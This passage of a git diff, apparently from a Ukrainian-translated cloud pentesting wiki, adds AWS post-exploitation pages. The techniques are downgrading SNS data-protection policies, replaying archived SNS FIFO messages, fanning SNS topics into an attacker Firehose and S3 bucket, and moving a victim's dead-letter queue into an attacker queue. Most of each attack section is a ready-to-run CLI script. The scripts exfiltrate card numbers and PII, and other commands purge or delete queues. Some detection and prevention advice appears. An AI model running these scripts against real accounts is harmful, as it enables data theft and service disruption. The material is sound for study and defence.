+"Operation": { "Audit": { "SampleRate": 99, "NoFindingsDestination": {} } }
+}]
+}
+JSON
+aws sns put-data-protection-policy --region $REGION --resource-arn "$TOPIC_ARN" --data-protection-policy "$(cat /tmp/ht-dlp-audit-only.json)"
+```
+
+5) Опублікуйте те саме повідомлення і перевірте, що немасковане значення доставлено
+```bash
+aws sns publish --region $REGION --topic-arn "$TOPIC_ARN" --message payment:{cc:4539894458086459}
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 15 --message-attribute-names All --attribute-names All
+```
+Очікуваний уривок показує CC у відкритому тексті:
+```text
+4539894458086459
+```
+## Вплив
+- Переключення topic з de-identification/deny на audit-only (або інше видалення Outbound controls) дозволяє PII/секретам проходити без змін до підписок, контрольованих нападником, що дає змогу ексфільтрації даних, які в іншому випадку були б замасковані або заблоковані.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-fifo-replay-exfil.md

@@ -0,0 +1,100 @@
+# SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Зловживання архівацією повідомлень у Amazon SNS FIFO topic для replay та exfiltrate раніше опублікованих повідомлень до SQS FIFO черги, контрольованої атакуючим, шляхом встановлення ReplayPolicy підписки.
+
+- Service: Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
+- Requirements: Topic must have ArchivePolicy enabled (message archiving). Attacker can Subscribe to the topic and set attributes on their subscription. Attacker controls an SQS FIFO queue and allows the topic to send messages.
+- Impact: Historical messages (published before the subscription) can be delivered to the attacker endpoint. Replayed deliveries are flagged with Replayed=true in the SNS envelope.
+
+## Preconditions
+- SNS FIFO topic with archiving enabled: `ArchivePolicy` (e.g., `{ "MessageRetentionPeriod": "2" }` for 2 days).
+- Атакуючий має дозволи на:
+- `sns:Subscribe` on the target topic.
+- `sns:SetSubscriptionAttributes` on the created subscription.
+- Атакуючий має SQS FIFO чергу і може додати queue policy, що дозволяє `sns:SendMessage` з topic ARN.
+
+## Minimum IAM permissions
+- On topic: `sns:Subscribe`.
+- On subscription: `sns:SetSubscriptionAttributes`.
+- On queue: `sqs:SetQueueAttributes` for policy, and queue policy permitting `sns:SendMessage` from the topic ARN.
+
+## Attack: Replay archived messages to attacker SQS FIFO
+Атакуючий підписує свою SQS FIFO чергу на цільовий SNS FIFO topic, а потім встановлює `ReplayPolicy` на timestamp у минулому (в межах вікна збереження архіву). SNS негайно відтворює відповідні заархівовані повідомлення для нової підписки і позначає їх як `Replayed=true`.
+
+Notes:
+- The timestamp used in `ReplayPolicy` must be >= the topic's `BeginningArchiveTime`. If it's earlier, the API returns `Invalid StartingPoint value`.
+- For SNS FIFO `Publish`, you must specify a `MessageGroupId` (and either dedup ID or enable `ContentBasedDeduplication`).
+
+<details>
+<summary>End-to-end CLI POC (us-east-1)</summary>
+```bash
+REGION=us-east-1
+# Compute a starting point; adjust later to >= BeginningArchiveTime if needed
+TS_START=$(python3 - << 'PY'
+from datetime import datetime, timezone, timedelta
+print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ'))
+PY
+)
+
+# 1) Create SNS FIFO topic with archiving (2-day retention)
+TOPIC_NAME=htreplay$(date +%s).fifo
+TOPIC_ARN=$(aws sns create-topic --region "$REGION" \
+--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \
+--query TopicArn --output text)
+
+echo "Topic: $TOPIC_ARN"
+
+# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
+for i in $(seq 1 3); do
+aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \
+--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \
+--message-group-id g1 >/dev/null
+done
+
+# 3) Create attacker SQS FIFO queue and allow only this topic to send
+Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \
+--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \
+--attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+cat > /tmp/ht-replay-sqs-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$TOPIC_ARN"}}}]}
+JSON
+# Use CLI input JSON to avoid quoting issues
+aws sqs set-queue-attributes --region "$REGION" --cli-input-json "$(python3 - << 'PY'
+import json, os
+print(json.dumps({
+'QueueUrl': os.environ['Q_URL'],
+'Attributes': {'Policy': open('/tmp/ht-replay-sqs-policy.json').read()}
+}))
+PY
+)"
+
+# 4) Subscribe the queue to the topic
+SUB_ARN=$(aws sns subscribe --region "$REGION" --topic-arn "$TOPIC_ARN" \
+--protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
+
+echo "Subscription: $SUB_ARN"
+
+# 5) Ensure StartingPoint is >= BeginningArchiveTime
+BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text)
+START=${TS_START}
+if [ -n "$BEGIN" ]; then START="$BEGIN"; fi
+
+aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \
+--attribute-name ReplayPolicy \
+--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}"
+
+# 6) Receive replayed messages (note Replayed=true in the SNS envelope)
+aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \
+--max-number-of-messages 10 --wait-time-seconds 10 \
+--message-attribute-names All --attribute-names All
+```
+</details>
+
+## Вплив
+**Можливий вплив**: Атакуючий, який може підписатися на SNS FIFO topic з увімкненим архівуванням і встановити `ReplayPolicy` для своєї підписки, може негайно відтворити та ексфільтрувати історичні повідомлення, опубліковані в цьому topic, а не лише повідомлення, надіслані після створення підписки. Доставлені повідомлення містять прапорець `Replayed=true` в SNS envelope.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md

@@ -0,0 +1,76 @@
+# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Зловживати протоколом підписки Firehose, щоб зареєструвати керований зловмисником Kinesis Data Firehose delivery stream на стандартній темі SNS жертви. Як тільки підписка налаштована і необхідна роль IAM довіряє `sns.amazonaws.com`, кожне наступне повідомлення надійно записується в S3 bucket зловмисника з мінімальним шумом.
+
+## Вимоги
+- Права в обліковому записі зловмисника на створення S3 bucket, Firehose delivery stream та IAM role, яку використовує Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, тощо).
+- Можливість виконати `sns:Subscribe` на тему жертви (та опціонально `sns:SetSubscriptionAttributes`, якщо ARN ролі підписки надається після створення).
+- Політика теми, яка дозволяє принципалу зловмисника підписатися (або зловмисник уже працює в межах того самого облікового запису).
+
+## Кроки атаки (приклад у межах того самого облікового запису)
+```bash
+REGION=us-east-1
+ACC_ID=$(aws sts get-caller-identity --query Account --output text)
+SUFFIX=$(date +%s)
+
+# 1) Create attacker S3 bucket and Firehose delivery stream
+ATTACKER_BUCKET=ht-firehose-exfil-$SUFFIX
+aws s3 mb s3://$ATTACKER_BUCKET --region $REGION
+
+STREAM_NAME=ht-firehose-stream-$SUFFIX
+FIREHOSE_ROLE_NAME=FirehoseAccessRole-$SUFFIX
+
+# Role Firehose assumes to write into the bucket
+aws iam create-role --role-name "$FIREHOSE_ROLE_NAME" --assume-role-policy-document '{
+"Version": "2012-10-17",
+"Statement": [{"Effect": "Allow","Principal": {"Service": "firehose.amazonaws.com"},"Action": "sts:AssumeRole"}]
+}'
+
+cat > /tmp/firehose-s3-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:AbortMultipartUpload","s3:GetBucketLocation","s3:GetObject","s3:ListBucket","s3:ListBucketMultipartUploads","s3:PutObject"],"Resource":["arn:aws:s3:::$ATTACKER_BUCKET","arn:aws:s3:::$ATTACKER_BUCKET/*"]}]}
+JSON
+aws iam put-role-policy --role-name "$FIREHOSE_ROLE_NAME" --policy-name AllowS3Writes --policy-document file:///tmp/firehose-s3-policy.json
+
+aws firehose create-delivery-stream \
+--delivery-stream-name "$STREAM_NAME" \
+--delivery-stream-type DirectPut \
+--s3-destination-configuration RoleARN=arn:aws:iam::$ACC_ID:role/$FIREHOSE_ROLE_NAME,BucketARN=arn:aws:s3:::$ATTACKER_BUCKET \
+--region $REGION >/dev/null
+
+# 2) IAM role SNS assumes when delivering into Firehose
+SNS_ROLE_NAME=ht-sns-to-firehose-role-$SUFFIX
+aws iam create-role --role-name "$SNS_ROLE_NAME" --assume-role-policy-document '{
+"Version": "2012-10-17",
+"Statement": [{"Effect": "Allow","Principal": {"Service": "sns.amazonaws.com"},"Action": "sts:AssumeRole"}]
+}'
+
+cat > /tmp/allow-firehose.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["firehose:PutRecord","firehose:PutRecordBatch"],"Resource":"arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME"}]}
+JSON
+aws iam put-role-policy --role-name "$SNS_ROLE_NAME" --policy-name AllowFirehoseWrites --policy-document file:///tmp/allow-firehose.json
+
+SNS_ROLE_ARN=arn:aws:iam::$ACC_ID:role/$SNS_ROLE_NAME
+
+# 3) Subscribe Firehose to the victim topic
+TOPIC_ARN=<VICTIM_TOPIC_ARN>
+aws sns subscribe \
+--topic-arn "$TOPIC_ARN" \
+--protocol firehose \
+--notification-endpoint arn:aws:firehose:$REGION:$ACC_ID:deliverystream/$STREAM_NAME \
+--attributes SubscriptionRoleArn=$SNS_ROLE_ARN \
+--region $REGION
+
+# 4) Publish test message and confirm arrival in S3
+aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --region $REGION
+sleep 90
+aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
+```
+## Прибирання
+- Видаліть підписку SNS, Firehose delivery stream, тимчасові IAM ролі/політики та S3 bucket зловмисника.
+
+## Вплив
+**Можливий вплив**: Безперервна, довготривала ексфільтрація кожного повідомлення, опублікованого в цільовій темі SNS, у сховище під контролем зловмисника з мінімальним операційним слідом.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md

@@ -0,0 +1,150 @@
+# AWS – SQS DLQ Redrive Екфільтрація через StartMessageMoveTask
+
+## Опис
+
+Зловживання тасками переміщення повідомлень SQS для викрадення всіх накопичених повідомлень з Dead-Letter Queue (DLQ) жертви, перенаправляючи їх у чергу, контрольовану атакуючим, за допомогою `sqs:StartMessageMoveTask`. Ця техніка експлуатує легітимну функцію відновлення повідомлень AWS для екфільтрації конфіденційних даних, що накопичувалися в DLQ з часом.
+
+## Що таке Dead-Letter Queue (DLQ)?
+
+Dead-Letter Queue — це спеціальна черга SQS, куди повідомлення автоматично надсилаються, коли основний додаток не може їх успішно обробити. Ці невдалі повідомлення часто містять:
+- Чутливі дані додатку, які не вдалося обробити
+- Інформацію про помилки та відладкові дані
+- Personal Identifiable Information (PII)
+- API токени, облікові дані або інші секрети
+- Критично важливі бізнес-транзакційні дані
+
+DLQ виступають як "кладовище" для невдалих повідомлень, тому вони є цінною ціллю, оскільки з часом накопичують чутливі дані, з якими додатки не впоралися.
+
+## Сценарій атаки
+
+**Реальний приклад:**
+1. **E-commerce application** обробляє замовлення клієнтів через SQS
+2. **Деякі замовлення не проходять** (проблеми з оплатою, інвентарем тощо) і переміщуються в DLQ
+3. **DLQ накопичує** тижні/місяці невдалих замовлень з даними клієнтів: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
+4. **Атакуючий отримує доступ** до AWS облікових даних з дозволами на SQS
+5. **Атакуючий виявляє**, що в DLQ тисячі невдалих замовлень з конфіденційними даними
+6. **Замість спроб доступитися до окремих повідомлень** (повільно й помітно), атакуючий використовує `StartMessageMoveTask` для масового перенесення ВСІХ повідомлень у свою чергу
+7. **Атакуючий витягує** всю історичну конфіденційну інформацію за одну операцію
+
+## Вимоги
+- Джерельна черга має бути налаштована як DLQ (посилання хоча б однією чергою в RedrivePolicy).
+- IAM дозволи (як скомпрометований обліковий принципал жертви):
+- На DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
+- На черзі призначення: дозвіл доставляти повідомлення (наприклад, політика черги, що дозволяє `sqs:SendMessage` від облікового принципала жертви). Для черг в тій же акаунті це зазвичай дозволено за замовчуванням.
+- Якщо увімкнено SSE-KMS: на source CMK `kms:Decrypt`, і на destination CMK `kms:GenerateDataKey`, `kms:Encrypt`.
+
+## Вплив
+Екфільтрація чутливих payload'ів, що накопичилися в DLQ (невдалі події, PII, токени, payload'и додатку) з високою швидкістю, використовуючи нативні SQS API. Працює між акаунтами, якщо політика черги призначення дозволяє `SendMessage` від облікового принципала жертви.
+
+## Як зловживати
+
+- Ідентифікуйте ARN жертви DLQ і переконайтеся, що вона дійсно використовується як DLQ якоюсь чергою (будь-яка черга підійде).
+- Створіть або оберіть чергу, контрольовану атакуючим, і отримайте її ARN.
+- Запустіть таск переміщення повідомлень з DLQ жертви у вашу чергу призначення.
+- Моніторьте прогрес або скасуйте за потреби.
+
+### CLI Example: Екфільтрація даних клієнтів з e-commerce DLQ
+
+**Сценарій**: Атакуючий скомпрометував AWS облікові дані і виявив, що e-commerce додаток використовує SQS з DLQ, яка містить невдалі спроби обробки замовлень клієнтів.
+
+1) **Discover and examine the victim DLQ**
+```bash
+# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
+aws sqs list-queues --queue-name-prefix dlq
+
+# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
+VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
+SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# Check how many messages are in the DLQ (potential treasure trove!)
+aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
+--attribute-names ApproximateNumberOfMessages
+# Output might show: "ApproximateNumberOfMessages": "1847"
+```
+2) **Створити attacker-controlled destination queue**
+```bash
+# Create our exfiltration queue
+ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
+ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+echo "Created exfiltration queue: $ATTACKER_Q_ARN"
+```
+3) **Виконати bulk message theft**
+```bash
+# Start moving ALL messages from victim DLQ to our queue
+# This operation will transfer thousands of failed orders containing customer data
+echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
+TASK_RESPONSE=$(aws sqs start-message-move-task \
+--source-arn "$SRC_ARN" \
+--destination-arn "$ATTACKER_Q_ARN" \
+--max-number-of-messages-per-second 100)
+
+echo "Move task started: $TASK_RESPONSE"
+
+# Monitor the theft progress
+aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
+```
+4) **Збирайте викрадені чутливі дані**
+```bash
+# Receive the exfiltrated customer data
+echo "Receiving stolen customer data..."
+aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--attribute-names All --message-attribute-names All \
+--max-number-of-messages 10 --wait-time-seconds 5
+
+# Example of what an attacker might see:
+# {
+#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
+#   "MessageId": "12345-abcd-6789-efgh"
+# }
+
+# Continue receiving all messages in batches
+while true; do
+MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--max-number-of-messages 10 --wait-time-seconds 2 --output json)
+
+if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
+echo "No more messages - exfiltration complete!"
+break
+fi
+
+echo "Received batch of stolen data..."
+# Process/save the stolen customer data
+echo "$MESSAGES" >> stolen_customer_data.json
+done
+```
+### Примітки щодо міжакаунтного доступу
+- Черга призначення повинна мати політику ресурсу, що дозволяє принципалу жертви виконувати `sqs:SendMessage` (і, якщо використовується, KMS grants/permissions).
+
+## Чому ця атака ефективна
+
+1. **Легітимна функція AWS**: Використовує вбудовану функціональність AWS, через що її важко виявити як зловмисну
+2. **Пакетна операція**: Швидко переносить тисячі повідомлень замість повільного індивідуального доступу
+3. **Історичні дані**: DLQs накопичують чутливі дані протягом тижнів/місяців
+4. **Поза увагою**: Багато організацій не відстежують доступ до DLQ уважно
+5. **Міжакаунтний доступ**: Може exfiltrate в акаунт AWS зловмисника, якщо дозволи це дозволяють
+
+## Виявлення та запобігання
+
+### Виявлення
+Моніторте CloudTrail на наявність підозрілих викликів API `StartMessageMoveTask`:
+```json
+{
+"eventName": "StartMessageMoveTask",
+"sourceIPAddress": "suspicious-ip",
+"userIdentity": {
+"type": "IAMUser",
+"userName": "compromised-user"
+},
+"requestParameters": {
+"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
+"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
+}
+}
+```
+### Запобігання
+1. **Принцип найменших привілеїв**: Обмежте дозволи `sqs:StartMessageMoveTask` лише для необхідних ролей
+2. **Моніторинг DLQs**: Налаштуйте CloudWatch сповіщення для виявлення аномальної активності в DLQ
+3. **Політики між акаунтами**: Ретельно перевіряйте політики черги SQS, що дозволяють доступ між акаунтами
+4. **Шифрування DLQs**: Використовуйте SSE-KMS з обмеженими політиками ключів
+5. **Регулярне очищення**: Не дозволяйте чутливим даним накопичуватись у DLQs безстроково

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md

@@ -1,73 +0,0 @@
-# AWS - SQS Постексплуатація
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-Для отримання додаткової інформації перегляньте:
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### `sqs:SendMessage` , `sqs:SendMessageBatch`
-
-Зловмисник може надіслати шкідливі або небажані повідомлення до черги SQS, що може призвести до пошкодження даних, викликати непередбачені дії або виснажити ресурси.
-```bash
-aws sqs send-message --queue-url <value> --message-body <value>
-aws sqs send-message-batch --queue-url <value> --entries <value>
-```
-**Потенційний вплив**: Експлуатація вразливостей, корупція даних, ненавмисні дії або виснаження ресурсів.
-
-### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
-
-Зловмисник може отримувати, видаляти або змінювати видимість повідомлень у черзі SQS, що може призвести до втрати повідомлень, корупції даних або збоїв у сервісах, які покладаються на ці повідомлення.
-```bash
-aws sqs receive-message --queue-url <value>
-aws sqs delete-message --queue-url <value> --receipt-handle <value>
-aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
-```
-**Потенційний вплив**: Викрадення чутливої інформації, втрата повідомлень, пошкодження даних та порушення роботи для додатків, що залежать від уражених повідомлень.
-
-### `sqs:DeleteQueue`
-
-Зловмисник може видалити цілу чергу SQS, що призведе до втрати повідомлень і вплине на додатки, які залежать від черги.
-```arduino
-Copy codeaws sqs delete-queue --queue-url <value>
-```
-**Потенційний вплив**: Втрата повідомлень та порушення роботи для додатків, що використовують видалену чергу.
-
-### `sqs:PurgeQueue`
-
-Зловмисник може очистити всі повідомлення з черги SQS, що призведе до втрати повідомлень та потенційного порушення роботи додатків, які покладаються на ці повідомлення.
-```arduino
-Copy codeaws sqs purge-queue --queue-url <value>
-```
-**Потенційний вплив**: Втрата повідомлень та порушення роботи для додатків, що покладаються на видалені повідомлення.
-
-### `sqs:SetQueueAttributes`
-
-Зловмисник може змінити атрибути черги SQS, що потенційно вплине на її продуктивність, безпеку або доступність.
-```arduino
-aws sqs set-queue-attributes --queue-url <value> --attributes <value>
-```
-**Потенційний вплив**: Неправильні налаштування, що призводять до зниження продуктивності, проблем з безпекою або зменшення доступності.
-
-### `sqs:TagQueue` , `sqs:UntagQueue`
-
-Зловмисник може додавати, змінювати або видаляти теги з ресурсів SQS, порушуючи політики розподілу витрат, відстеження ресурсів та контролю доступу вашої організації на основі тегів.
-```bash
-aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
-aws sqs untag-queue --queue-url <value> --tag-keys <key>
-```
-**Потенційний вплив**: Порушення розподілу витрат, відстеження ресурсів та політик контролю доступу на основі тегів.
-
-### `sqs:RemovePermission`
-
-Зловмисник може відкликати дозволи для законних користувачів або сервісів, видаливши політики, пов'язані з чергою SQS. Це може призвести до порушень у нормальному функціонуванні додатків, які покладаються на чергу.
-```arduino
-arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
-```
-**Потенційний вплив**: Порушення нормального функціонування додатків, що покладаються на чергу, через несанкціоноване видалення дозволів.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/README.md

@@ -0,0 +1,83 @@
+# AWS - SQS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+Для отримання додаткової інформації див.:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### `sqs:SendMessage` , `sqs:SendMessageBatch`
+
+attacker може надсилати шкідливі або небажані повідомлення до SQS queue, що потенційно може призвести до пошкодження даних, ініціювання непередбачених дій або виснаження ресурсів.
+```bash
+aws sqs send-message --queue-url <value> --message-body <value>
+aws sqs send-message-batch --queue-url <value> --entries <value>
+```
+**Потенційний вплив**: експлуатація вразливості, пошкодження даних, непередбачені дії або вичерпання ресурсів.
+
+### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
+
+Зловмисник може отримувати, видаляти або змінювати видимість повідомлень у черзі SQS, що може призвести до втрати повідомлень, пошкодження даних або порушення роботи додатків, які залежать від цих повідомлень.
+```bash
+aws sqs receive-message --queue-url <value>
+aws sqs delete-message --queue-url <value> --receipt-handle <value>
+aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
+```
+**Потенційний вплив**: Викрадення конфіденційної інформації, втрата повідомлень, пошкодження даних та порушення роботи сервісів для застосунків, що залежать від уражених повідомлень.
+
+### `sqs:DeleteQueue`
+
+Атакуючий може видалити цілу чергу SQS, що призведе до втрати повідомлень і вплине на застосунки, які залежать від цієї черги.
+```bash
+aws sqs delete-queue --queue-url <value>
+```
+**Potential Impact**: Втрата повідомлень та збої в роботі сервісів для додатків, які використовують видалену чергу.
+
+### `sqs:PurgeQueue`
+
+Зловмисник може очистити всі повідомлення в SQS черзі, що призведе до втрати повідомлень та можливих збоїв у роботі додатків, які на них покладаються.
+```bash
+aws sqs purge-queue --queue-url <value>
+```
+**Потенційний вплив**: Втрата повідомлень і порушення роботи сервісів для додатків, які покладаються на очищені повідомлення.
+
+### `sqs:SetQueueAttributes`
+
+Зловмисник може змінити атрибути черги SQS, що потенційно вплине на її продуктивність, безпеку або доступність.
+```bash
+aws sqs set-queue-attributes --queue-url <value> --attributes <value>
+```
+**Potential Impact**: Неправильні налаштування, які можуть призвести до зниження продуктивності, проблем із безпекою або зменшення доступності.
+
+### `sqs:TagQueue` , `sqs:UntagQueue`
+
+Зловмисник може додавати, змінювати або видаляти теги з ресурсів SQS, що порушить розподіл витрат у вашій організації, відстеження ресурсів та політики контролю доступу, засновані на тегах.
+```bash
+aws sqs tag-queue --queue-url <value> --tags Key=<key>,Value=<value>
+aws sqs untag-queue --queue-url <value> --tag-keys <key>
+```
+**Можливий вплив**: Порушення розподілу витрат, відстеження ресурсів та політик контролю доступу на основі тегів.
+
+### `sqs:RemovePermission`
+
+Зловмисник може відкликати дозволи для легітимних користувачів або сервісів, видаливши політики, пов'язані з чергою SQS. Це може призвести до збоїв у нормальному функціонуванні додатків, які покладаються на цю чергу.
+```bash
+aws sqs remove-permission --queue-url <value> --label <value>
+```
+**Потенційний вплив**: Порушення нормальної роботи додатків, що покладаються на чергу, через несанкціоноване видалення прав доступу.
+
+### Додаткові SQS Post-Exploitation Techniques
+
+{{#ref}}
+aws-sqs-dlq-redrive-exfiltration.md
+{{#endref}}
+
+{{#ref}}
+aws-sqs-sns-injection.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md

@@ -0,0 +1,154 @@
+# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Description
+
+Зловживання задачами переміщення повідомлень SQS для викрадення всіх накопичених повідомлень з Dead-Letter Queue (DLQ) жертви, перенаправивши їх у чергу, контрольовану атакуючим, за допомогою `sqs:StartMessageMoveTask`. Ця техніка експлуатує легітимну функцію відновлення повідомлень AWS для ексфільтрації чутливих даних, які накопичилися в DLQ з часом.
+
+## What is a Dead-Letter Queue (DLQ)?
+
+Dead-Letter Queue — це спеціальна черга SQS, куди повідомлення автоматично відправляються, коли основний додаток не може успішно їх обробити. Ці невдалі повідомлення часто містять:
+- Чутливі дані додатку, які не вдалося обробити
+- Деталі помилок та інформацію для налагодження
+- Personal Identifiable Information (PII)
+- API токени, облікові дані або інші секрети
+- Критично важливі бізнес-транзакції
+
+DLQ виступають як «кладовище» для невдалих повідомлень, що робить їх привабливою ціллю, оскільки вони накопичують чутливі дані протягом тривалого часу, які додатки не змогли обробити належним чином.
+
+## Attack Scenario
+
+**Real-world example:**
+1. **E-commerce application** обробляє замовлення клієнтів через SQS
+2. **Деякі замовлення не проходять** (проблеми з оплатою, з інвентарем тощо) і переміщуються до DLQ
+3. **DLQ накопичує** тижні/місяці невдалих замовлень з даними клієнтів: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
+4. **Атакуючий отримує доступ** до AWS облікових даних з дозволами на SQS
+5. **Атакуючий виявляє**, що DLQ містить тисячі невдалих замовлень з чутливими даними
+6. **Замість спроб доступу до окремих повідомлень** (повільно і помітно), атакуючий використовує `StartMessageMoveTask` для масового перенесення ВСІХ повідомлень до своєї черги
+7. **Атакуючий витягує** всю історичну чутливу інформацію за одну операцію
+
+## Requirements
+- Джерельна черга має бути налаштована як DLQ (посилана принаймні однією чергою через RedrivePolicy).
+- IAM дозволи (виконуються від імені скомпрометованого облікового запису жертви):
+- На DLQ (source): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
+- На черзі призначення: дозвіл на доставку повідомлень (наприклад, політика черги, яка дозволяє `sqs:SendMessage` від облікового запису жертви). Для черг в тому ж акаунті це зазвичай дозволено за замовчуванням.
+- Якщо ввімкнено SSE-KMS: на source CMK `kms:Decrypt`, і на destination CMK `kms:GenerateDataKey`, `kms:Encrypt`.
+
+## Impact
+**Potential Impact**: Ексфільтрація чутливих payload-ів, накопичених у DLQ (невдалі події, PII, токени, payload-и додатків) з великою швидкістю, використовуючи нативні SQS API. Працює між акаунтами, якщо політика черги призначення дозволяє `SendMessage` від облікового запису жертви.
+
+## How to Abuse
+
+- Визначте ARN жертви DLQ і переконайтесь, що вона дійсно використовується як DLQ якоюсь чергою (будь-яка черга підходить).
+- Створіть або виберіть чергу, контрольовану атакуючим, і отримайте її ARN.
+- Запустіть задачу переміщення повідомлень із DLQ жертви до вашої черги призначення.
+- Моніторте прогрес або скасуйте за необхідності.
+
+### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
+
+**Scenario**: Атакуючий скомпрометував AWS облікові дані і виявив, що e-commerce додаток використовує SQS з DLQ, який містить невдалі спроби обробки замовлень клієнтів.
+
+1) **Discover and examine the victim DLQ**
+```bash
+# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
+aws sqs list-queues --queue-name-prefix dlq
+
+# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
+VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
+SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# Check how many messages are in the DLQ (potential treasure trove!)
+aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
+--attribute-names ApproximateNumberOfMessages
+# Output might show: "ApproximateNumberOfMessages": "1847"
+```
+2) **Створіть чергу призначення під контролем зловмисника**
+```bash
+# Create our exfiltration queue
+ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
+ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+echo "Created exfiltration queue: $ATTACKER_Q_ARN"
+```
+3) **Виконайте масове викрадення повідомлень**
+```bash
+# Start moving ALL messages from victim DLQ to our queue
